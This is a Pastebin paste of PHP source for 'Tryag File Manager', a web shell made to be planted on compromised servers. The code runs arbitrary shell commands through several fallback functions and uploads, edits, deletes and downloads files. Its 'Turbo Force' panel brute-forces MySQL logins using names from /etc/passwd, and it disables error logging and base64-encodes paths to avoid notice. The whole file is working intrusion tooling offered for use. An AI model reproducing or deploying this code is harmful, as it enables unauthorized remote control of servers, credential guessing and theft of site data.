Advertisement
Magico-Security-TeaM

Untitled

Apr 1st, 2016
627
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 25.17 KB | None | 0 0
  1. <?php
  2. /***************************
  3.  *    Tryag File Manager   *
  4.  *      Coded By G-B       *
  5.  *    Mod By : Slotleet    *
  6.  *   Web : Sec4ever.com    *
  7.  **************************/
  8. error_reporting(0);
  9. set_time_limit(0);
  10. extract(start());
  11. if(get_magic_quotes_gpc()){
  12.     foreach($_POST as $key=>$value){
  13.         $_POST[$key] = stripslashes($value);
  14.     }
  15. }
  16. $_POST['path'] = (isset($_POST['path'])) ? g22b_crypt($_POST['path'],'de') : false;
  17. $_POST['name'] = (isset($_POST['name'])) ? g22b_crypt($_POST['name'],'de') : false;
  18. if(isset($_GET['option']) && $_POST['opt'] == 'download'){
  19.     header('Content-type: text/plain');
  20.     header('Content-Disposition: attachment; filename="'.$_POST['name'].'"');
  21.     echo(file_get_contents($_POST['path']));
  22.     exit();
  23. }
  24.  
  25. /**************** Home *********************************/
  26.  
  27. echo '<!DOCTYPE html>
  28. <html>
  29. <head>
  30.    <title>Tryag File Manager</title>
  31.    <meta name="robots" content="noindex" />
  32.     <style>
  33.        body{
  34.            font-family: "Racing Sans One", cursive;
  35.            background-color: #e6e6e6;
  36.            text-shadow:0px 0px 1px #757575;
  37.            margin: 0;
  38.        }
  39.        #container{
  40.            width: auto;
  41.            margin: 10px;
  42.             padding: 10px;
  43.            border: 1px solid black;
  44.            
  45.        }
  46.         #show{
  47.             padding: 10px;
  48.        }
  49.        #header{
  50.            text-align: center;
  51.            border-bottom: 1px dotted black;
  52.        }
  53.        #header h1{
  54.            margin: 0;
  55.        }
  56.        
  57.        #nav,#menu{
  58.            padding-top: 5px;
  59.            margin-left: 5px;
  60.            padding-bottom: 5px;
  61.            overflow: hidden;
  62.            border-bottom: 1px dotted black;
  63.        }
  64.        #nav{
  65.            margin-bottom: 10px;
  66.        }
  67.        
  68.        #menu{
  69.            text-align: center;
  70.        }
  71.        
  72.        #content{
  73.            margin: 0;
  74.             width: auto;
  75.        }
  76.        
  77.        #content table{
  78.            width: 100%;
  79.            margin: 0px;
  80.        }
  81.        #content table .first{
  82.            background-color: silver;
  83.            text-align: center;
  84.        }
  85.        #content table .first:hover{
  86.            background-color: silver;
  87.            text-shadow:0px 0px 1px #757575;
  88.        }
  89.        #content table tr:hover{
  90.            background-color: #636263;
  91.            text-shadow:0px 0px 10px #fff;
  92.        }
  93.        
  94.        #footer{
  95.            margin-top: 10px;
  96.            border-top: 1px dotted black;
  97.        }
  98.        #footer p{
  99.            margin: 5px;
  100.            text-align: center;
  101.        }
  102.        .filename,a{
  103.            color: #000;
  104.            text-decoration: none;
  105.            cursor: pointer;
  106.        }
  107.        .filename:hover,a:hover{
  108.            color: #fff;
  109.            text-shadow:0px 0px 10px #ffffff;
  110.        }
  111.        .center{
  112.            text-align: center;
  113.        }
  114.        input,select,textarea{
  115.            border: 0px #ffffff solid;
  116.            -moz-border-radius: 1px;
  117.            -webkit-border-radius:1px;
  118.            border-radius:2px;
  119.             padding: 2px;
  120.        }
  121.    </style>
  122.    <script>
  123. function Encoder(name)
  124. {
  125.     var e =  document.getElementById(name);
  126.     e.value = btoa(e.value);
  127.     return true;
  128. }
  129. </script>
  130. </head>
  131. <body>
  132.    <div id="container">
  133.        <div id="header"><h1>G22B File Manager</h1>'.Quotes().'</div>
  134.        <div id="menu"><a href="?path='.$currentpathen.'">Home</a> - <a href="?path='.$currentpathen.'&cpanel">Turbo Force</a> - <a href="?path='.$currentpathen.'&secinfo"> Sec. Info</a></div>
  135.        <div id="nav">
  136.            <div class="path">Current Path : '.nav_link().'<br>Safe Mode : '.getSafeMode().'</div>
  137.            <div class="upload">
  138.                <form enctype="multipart/form-data" method="POST" action="?path='.$currentpathen.'&up">
  139.                Upload File : <input type="file" name="file" />
  140.                <input type="submit" value="Upload" />
  141.                </form>
  142.            </div>
  143.            <div class="new">
  144.                <form method="POST" action="?path='.$currentpathen.'&new" onSubmit="Encoder(\'c\')">
  145.                <span>New : </span><input name="name" type="text" size="10" id="c" />
  146.                File <input type="radio" name="type" value="file" checked/>
  147.                Dir <input type="radio" name="type" value="dir" />
  148.                <input type="submit" value="Go" />
  149.                </form>
  150.            </div>
  151.            <div class="new">
  152.                <form method="POST" action="?path='.$currentpathen.'&exec" onSubmit="Encoder(\'c\')">
  153.                <span>Execute Command\'s : </span><input name="cmd" type="text" id="c" autofocus>
  154.                <input type="submit" value="Go" />
  155.                </form>
  156.            </div>
  157.        </div>
  158.        <div id="content">';
  159. if(isset($_GET['cpanel'])){
  160.     if(isset($_POST['usernames']) && isset($_POST['passwords'])){
  161.         $usernames = base64_decode($_POST['usernames']);
  162.         $passwords = base64_decode($_POST['passwords']);
  163.         $count = 0;
  164.         foreach(explode("\n",$usernames) as $username){
  165.             $username = ($_POST['type'] == 'simple') ? $username : passwdtouser($username);
  166.             foreach(explode("\n",$passwords) as $password){
  167.                 $username = trim($username);
  168.                 $password = trim($password);
  169.                 $co = mysql_connect('localhost',$username,$password);
  170.                 if($co){
  171.                     mysql_close($co);
  172.                     echo "Tryag~ Username (<font color=red>$username</font>) Password (<font color=red>$password</font>)<br />";
  173.                     $count++;
  174.                 }
  175.             }
  176.         }
  177.         echo "$count Usernames Founded.";
  178.     }else{
  179.     echo '<div id="show"><form method="POST" onSubmit="Encoder(\'c\');Encoder(\'b\');">
  180.    Usernames : <br />
  181.    <textarea cols=84 rows=10 id="c" name="usernames"></textarea><br />
  182.    Passwords : <br />
  183.    <textarea cols=84 rows=10 id="b" name="passwords"></textarea><br />
  184.    Usernames Type : Simple : <input type="radio" name="type" value="simple" checked="checked"> - /etc/passwd : <input type="radio" name="type" value="pass">
  185.    <br /><input type="submit" value="Go">
  186.    </form></div>';
  187.     }
  188.     }elseif(isset($_GET['exec'])){
  189.     echo '<textarea cols=100 rows=30%>'.exec_all($_POST['cmd']).'</textarea>';
  190.     }else{
  191.  
  192.         if(isset($_GET['filesrc'])){
  193.             $file = g22b_crypt($_GET['filesrc'],'de');
  194.             echo '<div class="">Current File : '.htmlspecialchars($file).'</div><textarea cols="84" rows="25">'.filesrc($file).'</textarea></pre>';
  195.         }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete' || (isset($_GET['new']) && $_POST['type'] == 'file')){
  196.  
  197.             echo '<div class="center">'.$_POST['name'].'<br />';
  198.            
  199.             if($_POST['opt'] == 'chmod'){
  200.                 if(isset($_POST['perm'])){
  201.    
  202.                     eval('$perm = '.$_POST['perm'].';');
  203.                     if(chmod($_POST['path'],$perm)){
  204.                         echo '<font color="green">Change Permission Done.</font><br />';
  205.                         $permdone = true;
  206.                     }else{
  207.                         echo '<font color="red">Change Permission Error.</font><br />';
  208.                     }
  209.                 }
  210.                 if($permdone){
  211.                     $perm = $_POST['perm'];
  212.                 }else{
  213.                     $perm = substr(sprintf('%o', fileperms($_POST['path'])), -4);
  214.                 }
  215.                
  216.                 echo '<form method="POST">
  217.                Permission : <input name="perm" type="text" size="4" value="'.$perm.'" />
  218.                <input type="hidden" name="path" value="'.g22b_crypt($_POST['path'],'en').'">
  219.                <input type="hidden" name="name" value="'.g22b_crypt($_POST['name'],'en').'">
  220.                <input type="hidden" name="opt" value="chmod">
  221.                <input type="submit" value="Go" />
  222.                </form>';
  223.             }elseif($_POST['opt'] == 'rename'){
  224.                
  225.                 if(isset($_POST['newname'])){
  226.                     if(rename($_POST['path'],$currentpath.'/'.$_POST['newname'])){
  227.                         echo '<font color="green">Change Name Done.</font><br />';
  228.                         $_POST['name'] = $_POST['newname'];
  229.                     }else{
  230.                         echo '<font color="red">Change Name Error.</font><br />';
  231.                     }
  232.                 }
  233.                
  234.                 echo '<div id="show"><form method="POST">
  235.                New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  236.                <input type="hidden" name="path" value="'.g22b_crypt($_POST['path'],'en').'">
  237.                <input type="hidden" name="name" value="'.g22b_crypt($_POST['name'],'en').'">
  238.                <input type="hidden" name="opt" value="rename">
  239.                <input type="submit" value="Go" />
  240.                </form></div>';
  241.             }elseif($_POST['opt'] == 'edit' || isset($_GET['new'])){
  242.                 if(isset($_POST['src'])){
  243.                     $fp = fopen($_POST['path'],'w');
  244.                     if(fwrite($fp,base64_decode($_POST['src']))){
  245.                         echo '<font color="green">Edit File Done.</font><br />';
  246.                         $done = true;
  247.                     }else{
  248.                         echo '<font color="red">Edit File Error.</font><br />';
  249.                     }
  250.                     fclose($fp);
  251.                 }
  252.                 if(isset($_GET['new']) && !$done){
  253.                     $filecontent = '';
  254.                     $_POST['path'] = "$currentpath/$_POST[name]";
  255.                 }else{
  256.                     $filecontent = filesrc($_POST['path']);
  257.                 }
  258.                 echo '<div id="show"><form method="POST" onSubmit="Encoder(\'c\')">
  259.                <textarea cols="84" rows="25" name="src" id="c">'.$filecontent.'</textarea><br />
  260.                <input type="hidden" name="path" value="'.g22b_crypt($_POST['path'],'en').'">
  261.                <input type="hidden" name="name" value="'.g22b_crypt($_POST['name'],'en').'">
  262.                <input type="hidden" name="type" value="file" />
  263.                <input type="hidden" name="opt" value="edit">
  264.                <input type="submit" value="Go" />
  265.                </form></div>';
  266.             }
  267.            
  268.             echo '</div>';
  269.         }else{
  270.             echo '<div id="show"><div class="center">';
  271.             if($_POST['opt'] == 'delete'){
  272.                 if($_POST['type'] == 'dir'){
  273.                     if(rmdir($_POST['path'])){
  274.                         echo '<font color="green">Delete Dir Done.</font><br />';
  275.                     }else{
  276.                         echo '<font color="red">Delete Dir Error.</font><br />';
  277.                     }
  278.                 }elseif($_POST['type'] == 'file'){
  279.                     if(unlink($_POST['path'])){
  280.                         echo '<font color="green">Delete File Done.</font><br />';
  281.                     }else{
  282.                         echo '<font color="red">Delete File Error.</font><br />';
  283.                     }
  284.                 }
  285.             }elseif($_POST['type'] == 'dir' && isset($_GET['new'])){
  286.                 if(mkdir("$currentpath/$_POST[name]")){
  287.                     echo '<font color="green">Create Dir Done.</font><br />';
  288.                 }else{
  289.                     echo '<font color="red">Create Dir Error.</font><br />';
  290.                 }
  291.             }elseif(isset($_FILES['file'])){
  292.                 $userfile_name = $currentpath.'/'.$_FILES['file']['name'];
  293.                 $userfile_tmp = $_FILES['file']['tmp_name'];
  294.                 if(move_uploaded_file($userfile_tmp,$userfile_name)){
  295.                     echo '<font color="green">File Upload Done.</font><br />';
  296.                 }else{
  297.                     echo '<font color="red">File Upload Error.</font><br />';
  298.                 }
  299.             }
  300.             echo '</div></div><table>
  301.                <tr class="first">
  302.                    <td><i class="fa fa-sort-desc"></i> Name</td>
  303.                    <td><i class="fa fa-sort-desc"></i> Size</td>
  304.                    <td><i class="fa fa-sort-desc"></i> Permissions</td>
  305.                    <td><i class="fa fa-sort-desc"></i> Options</td>
  306.                </tr>';
  307.        
  308.         $dirs = getfiles('dir');
  309.         foreach($dirs as $dir){
  310.         echo '<div id="dirs"><tr>
  311.        <td><a href="?path='.$dir['link'].'"><div class="filename"><i class="fa fa-folder"></i> '.$dir['name'].'</div></a></td>
  312.        <td class="center">'.$dir['size'].'</td>
  313.        <td class="center"><font color="'.$dir['permcolor'].'">'.$dir['perm'].'</font></td>
  314.        <td class="center"><form method="POST" action="?path='.$currentpathen.'&option">
  315.        <select name="opt">
  316.         <option value=""></option>
  317.        <option value="delete">Delete</option>
  318.        <option value="chmod">Chmod</option>
  319.        <option value="rename">Rename</option>
  320.        </select>
  321.        <input type="hidden" name="type" value="dir">
  322.        <input type="hidden" name="name" value="'.g22b_crypt($dir['name'],'en').'">
  323.        <input type="hidden" name="path" value="'.$dir['link'].'">
  324.        <input type="submit" value=">" />
  325.        </form></td>
  326.        </tr>
  327.        </div>';
  328.         }
  329.         echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  330.        
  331.         $files = getfiles('file');
  332.         foreach($files as $file){
  333.             echo '<div id="files">
  334.        
  335.        <tr>
  336.        <td><a href="?path='.$currentpathen.'&filesrc='.$file['link'].'"><div class="filename"><i class="fa fa-file"></i> '.$file['name'].'</div></a></td>
  337.        <td class="center">'.$file['size'].'</td>
  338.        <td class="center"><font color="'.$file['permcolor'].'">'.$file['perm'].'</font></td>
  339.        <td class="center"><form method="POST" action="?path='.$currentpathen.'&option">
  340.        <select name="opt">
  341.         <option value=""></option>
  342.        <option value="delete">Delete</option>
  343.        <option value="chmod">Chmod</option>
  344.        <option value="rename">Rename</option>
  345.        <option value="edit">Edit</option>
  346.        <option value="download">Download</option>
  347.        </select>
  348.        <input type="hidden" name="type" value="file">
  349.        <input type="hidden" name="name" value="'.g22b_crypt($file['name'],'en').'">
  350.        <input type="hidden" name="path" value="'.$file['link'].'">
  351.        <input type="submit" value=">" />
  352.        </form></td>
  353.        </tr></div>';
  354.         }
  355.             echo '</table>';
  356.         }
  357.     }  
  358.         echo '</div>
  359.        <div id="footer"><p>Tryag File Manager Version <font color="red">2.0</font>, Coded By <font color="red">G-B</font><p>Modded by : Slotleet<br />Website: <font color="red">Sec4ever.com</font></p></div>
  360.    </div>
  361.    
  362.     </body>
  363.     </html>';
  364.  
  365.  
  366. /**************** Functions *********************************/
  367.  
  368.  
  369. function Quotes(){
  370.         $quotes=array(
  371.     "<font size='2'>&quot;When solving problems, dig at the roots instead of just hacking at the leaves&quot;</font>  <font size='1' color='gray'>Anthony J. D'Angelo</font>",
  372.     "<font size='2'>&quot;The difference between stupidity and genius is that genius has its limits&quot;</font>  <font size='1' color='gray'>Albert Einstein</font>",
  373.     "<font size='2'>&quot;As a young boy, I was taught in high school that hacking was cool.&quot;</font>  <font size='1' color='gray'>Kevin Mitnick</font>",
  374.     "<font size='2'>&quot;A lot of hacking is playing with other people, you know, getting them to do strange things.&quot;</font>  <font size='1' color='gray'>Steve Wozniak</font>",
  375.     "<font size='2'>&quot;If you give a hacker a new toy, the first thing he'll do is take it apart to figure out how it works.&quot;</font>  <font size='1' color='gray'>Jamie Zawinski</font>",
  376.     "<font size='2'>&quot;Software Engineering might be science; but that's not what I do. I'm a hacker, not an engineer.&quot;</font>  <font size='1' color='gray'>Jamie Zawinski</font>",
  377.     "<font size='2'>&quot;Never underestimate the determination of a kid who is time-rich and cash-poor&quot;</font>  <font size='1' color='gray'>Cory Doctorow</font>",
  378.     "<font size='2'>&quot;It? hardware that makes a machine fast. It? software that makes a fast machine slow.&quot;</font>  <font size='1' color='gray'>Craig Bruce</font>",
  379.     "<font size='2'>&quot;The function of good software is to make the complex appear to be simple.&quot;</font>  <font size='1' color='gray'>Grady Booch</font>",
  380.     "<font size='2'>&quot;Pasting code from the Internet into production code is like chewing gum found in the street.&quot;</font>  <font size='1' color='gray'>Anonymous</font>",
  381.     "<font size='2'>&quot;Tell me what you need and I'll tell you how to get along without it.&quot;</font>  <font size='1' color='gray'>Anonymous</font>",
  382.     "<font size='2'>&quot;Hmm..&quot;</font> <font size='1' color='gray'>Smash</font>",
  383.     "<font size='2'>&quot;Once we accept our limits, we go beyond them.&quot;</font> <font size='1' color='gray'>Albert Einstein</font>",
  384.     "<font size='2'>&quot;Listen to many, speak to a few.&quot;</font> <font size='1' color='gray'>William Shakespeare</font>",
  385.     "<font size='2'>&quot;The robbed that smiles, steals something from the thief.&quot;</font> <font size='1' color='gray'>William Shakespeare</font>");
  386.     $quote = $quotes[array_rand($quotes)];
  387.     return $quote;
  388. }
  389. function getSafeMode()
  390. {
  391.         global $sm;
  392.         if ($sm) {
  393.             return '<font color="red">ON</font> (Most of the Features will Not Work)';
  394.         }else{
  395.             return '<font color="green">OFF</font>';
  396.         }
  397.        
  398. }
  399. function getfiles($type){
  400.     global $currentpath;
  401.     $dir = scandir($currentpath);
  402.     $result = array();
  403.     foreach($dir as $file){
  404.         $current['fullname'] = "$currentpath/$file";
  405.         if($type == 'dir'){
  406.             if(!is_dir($current['fullname']) || $file == '.' || $file == '..') continue;
  407.         }elseif($type == 'file'){
  408.             if(!is_file($current['fullname'])) continue;
  409.         }
  410.        
  411.         $current['name'] = $file;
  412.         $current['link'] = g22b_crypt($current['fullname'],'en');
  413.         $current['size'] = (is_dir($current['fullname'])) ? 'Folder' : file_size($current['fullname']);
  414.         $current['perm'] = perms($current['fullname']);
  415.         if(is_writable($current['fullname'])){
  416.             $current['permcolor'] = 'green';
  417.         }elseif(is_readable($current['fullname'])){
  418.             $current['permcolor'] = '';
  419.         }else{
  420.             $current['permcolor'] = 'red';
  421.         }
  422.        
  423.         $result[] = $current;
  424.        
  425.     }
  426.     return $result;
  427. }
  428. function start(){
  429.     global $_POST,$_GET;
  430.    
  431.     $result['currentpath'] = (isset($_GET['path'])) ? g22b_crypt($_GET['path'],'de') : cwd();
  432.     $result['currentpathen'] = (isset($_GET['path'])) ? $_GET['path'] : g22b_crypt(cwd(),'en');
  433.    
  434.     return $result;
  435. }
  436. function file_size($file){
  437.     $size = filesize($file)/1024;
  438.     $size = round($size,3);
  439.     if($size >= 1024){
  440.         $size = round($size/1024,2).' MB';
  441.     }else{
  442.         $size = $size.' KB';
  443.     }
  444.     return $size;
  445. }
  446. function g22b_crypt($txt,$type){
  447.     if(function_exists('base64_encode') && function_exists('base64_decode')){
  448.         return ($type == 'en') ? base64_encode($txt) : base64_decode($txt);
  449.     }elseif(function_exists('strlen') && function_exists('dechex') && function_exists('ord') && function_exists('chr') && function_exists('hexdec')){
  450.         return ($type == 'en') ? strToHex($txt) : hexToStr($txt);
  451.     }else{
  452.         $ar1 = array('public_html','.htaccess','/','.');
  453.         $ar2 = array('bbbpubghostbbb','bbbhtaghostbbb','bbbsghostbbb','bbbdotghostbbb');
  454.         return ($type == 'en') ? str_replace($ar1,$ar2,$txt) : str_replace($ar2,$ar1,$txt);
  455.     }
  456. }
  457. function exec_all($command)
  458. {
  459.    
  460.     $output = '';
  461.     if(function_exists('exec'))
  462.     {  
  463.         exec($command,$output);
  464.         $output = join("\n",$output);
  465.     }
  466.    
  467.     else if(function_exists('shell_exec'))
  468.     {
  469.         $output = shell_exec($command);
  470.     }
  471.    
  472.     else if(function_exists('popen'))
  473.     {
  474.         $handle = popen($command , "r"); // Open the command pipe for reading
  475.         if(is_resource($handle))
  476.         {
  477.             if(function_exists('fread') && function_exists('feof'))
  478.             {
  479.                 while(!feof($handle))
  480.                 {
  481.                     $output .= fread($handle, 512);
  482.                 }
  483.             }
  484.             else if(function_exists('fgets') && function_exists('feof'))
  485.             {
  486.                 while(!feof($handle))
  487.                 {
  488.                     $output .= fgets($handle,512);
  489.                 }
  490.             }
  491.         }
  492.         pclose($handle);
  493.     }
  494.     else if(function_exists('system'))
  495.     {
  496.         ob_start(); //start output buffering
  497.         system($command);
  498.         $output = ob_get_contents();    // Get the ouput
  499.         ob_end_clean();                 // Stop output buffering
  500.     }
  501.     else if(function_exists('passthru'))
  502.     {
  503.         ob_start(); //start output buffering
  504.         passthru($command);
  505.         $output = ob_get_contents();    // Get the ouput
  506.         ob_end_clean();                 // Stop output buffering            
  507.     }
  508.     else if(function_exists('proc_open'))
  509.     {
  510.         $descriptorspec = array(
  511.                 1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
  512.                 );
  513.         $handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
  514.         if(is_resource($handle))
  515.         {
  516.             if(function_exists('fread') && function_exists('feof'))
  517.             {
  518.                 while(!feof($pipes[1]))
  519.                 {
  520.                     $output .= fread($pipes[1], 512);
  521.                 }
  522.             }
  523.             else if(function_exists('fgets') && function_exists('feof'))
  524.             {
  525.                 while(!feof($pipes[1]))
  526.                 {
  527.                     $output .= fgets($pipes[1],512);
  528.                 }
  529.             }
  530.         }
  531.         pclose($handle);
  532.     }
  533.     return(htmlspecialchars($output));
  534. }
  535. if(function_exists('ini_set'))
  536. {
  537.     ini_set('error_log',NULL);  // No alarming logs
  538.     ini_set('log_errors',0);    // No logging of errors
  539.     ini_set('file_uploads',1);  // Enable file uploads
  540.     ini_set('allow_url_fopen',1);   // allow url fopen
  541. }else{
  542.     ini_alter('error_log',NULL);
  543.     ini_alter('log_errors',0);
  544.     ini_alter('file_uploads',1);
  545.     ini_alter('allow_url_fopen',1);
  546. }
  547. function strToHex($string){
  548.     $hex='';
  549.     for ($i=0; $i < strlen($string); $i++)
  550.     {
  551.         $hex .= dechex(ord($string[$i]));
  552.     }
  553.     return $hex;
  554. }
  555. function hexToStr($hex){
  556.     $string='';
  557.     for ($i=0; $i < strlen($hex)-1; $i+=2)
  558.     {
  559.         $string .= chr(hexdec($hex[$i].$hex[$i+1]));
  560.     }
  561.     return $string;
  562. }
  563. function nav_link(){
  564.     global $currentpath;
  565.     $path = $currentpath;
  566.     $path = str_replace('\\','/',$path);
  567.     $paths = explode('/',$path);
  568.     $result = '';
  569.     foreach($paths as $id=>$pat){
  570.         if($pat == '' && $id == 0){
  571.             $a = true;
  572.             $result .= '<a href="?path='.g22b_crypt("/",'en').'">/</a>';
  573.             continue;
  574.         }
  575.         if($pat == '') continue;
  576.         $result .= '<a href="?path=';
  577.         $linkpath = '';
  578.         for($i=0;$i<=$id;$i++){
  579.             $linkpath .= "$paths[$i]";
  580.             if($i != $id) $linkpath .= "/";
  581.         }
  582.         $result .= g22b_crypt($linkpath,'en');
  583.         $result .=  '">'.$pat.'</a>/';
  584.     }
  585.     return $result;
  586. }
  587. function filesrc($file){
  588.     return htmlspecialchars(file_get_contents($file));
  589. }
  590. function cwd(){
  591.     if(function_exists('getcwd')){
  592.         return getcwd();
  593.     }else{
  594.         $e = str_replace("\\","/",$path);
  595.         $e = explode('/',$path);
  596.         $result = '';
  597.         for($i=0;$i<count($e)-1;$i++){
  598.             if($e[$i] == '') continue;
  599.             $result .= '/'.$e[$i];
  600.         }
  601.         return $result;
  602.     }
  603. }
  604. function passwdtouser($line){
  605.     $user = explode(':',$line);
  606.     return $user[0];
  607. }
  608. function perms($file){
  609.     $perms = @fileperms($file);
  610.  
  611. if (($perms & 0xC000) == 0xC000) {
  612.     // Socket
  613.     $info = 's';
  614. } elseif (($perms & 0xA000) == 0xA000) {
  615.     // Symbolic Link
  616.     $info = 'l';
  617. } elseif (($perms & 0x8000) == 0x8000) {
  618.     // Regular
  619.     $info = '-';
  620. } elseif (($perms & 0x6000) == 0x6000) {
  621.     // Block special
  622.     $info = 'b';
  623. } elseif (($perms & 0x4000) == 0x4000) {
  624.     // Directory
  625.     $info = 'd';
  626. } elseif (($perms & 0x2000) == 0x2000) {
  627.     // Character special
  628.     $info = 'c';
  629. } elseif (($perms & 0x1000) == 0x1000) {
  630.     // FIFO pipe
  631.     $info = 'p';
  632. } else {
  633.     // Unknown
  634.     $info = 'u';
  635. }
  636. // Owner
  637. $info .= (($perms & 0x0100) ? 'r' : '-');
  638. $info .= (($perms & 0x0080) ? 'w' : '-');
  639. $info .= (($perms & 0x0040) ?
  640.             (($perms & 0x0800) ? 's' : 'x' ) :
  641.             (($perms & 0x0800) ? 'S' : '-'));
  642. // Group
  643. $info .= (($perms & 0x0020) ? 'r' : '-');
  644. $info .= (($perms & 0x0010) ? 'w' : '-');
  645. $info .= (($perms & 0x0008) ?
  646.             (($perms & 0x0400) ? 's' : 'x' ) :
  647.             (($perms & 0x0400) ? 'S' : '-'));
  648. // World
  649. $info .= (($perms & 0x0004) ? 'r' : '-');
  650. $info .= (($perms & 0x0002) ? 'w' : '-');
  651. $info .= (($perms & 0x0001) ?
  652.             (($perms & 0x0200) ? 't' : 'x' ) :
  653.             (($perms & 0x0200) ? 'T' : '-'));
  654.     return $info;
  655. }?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement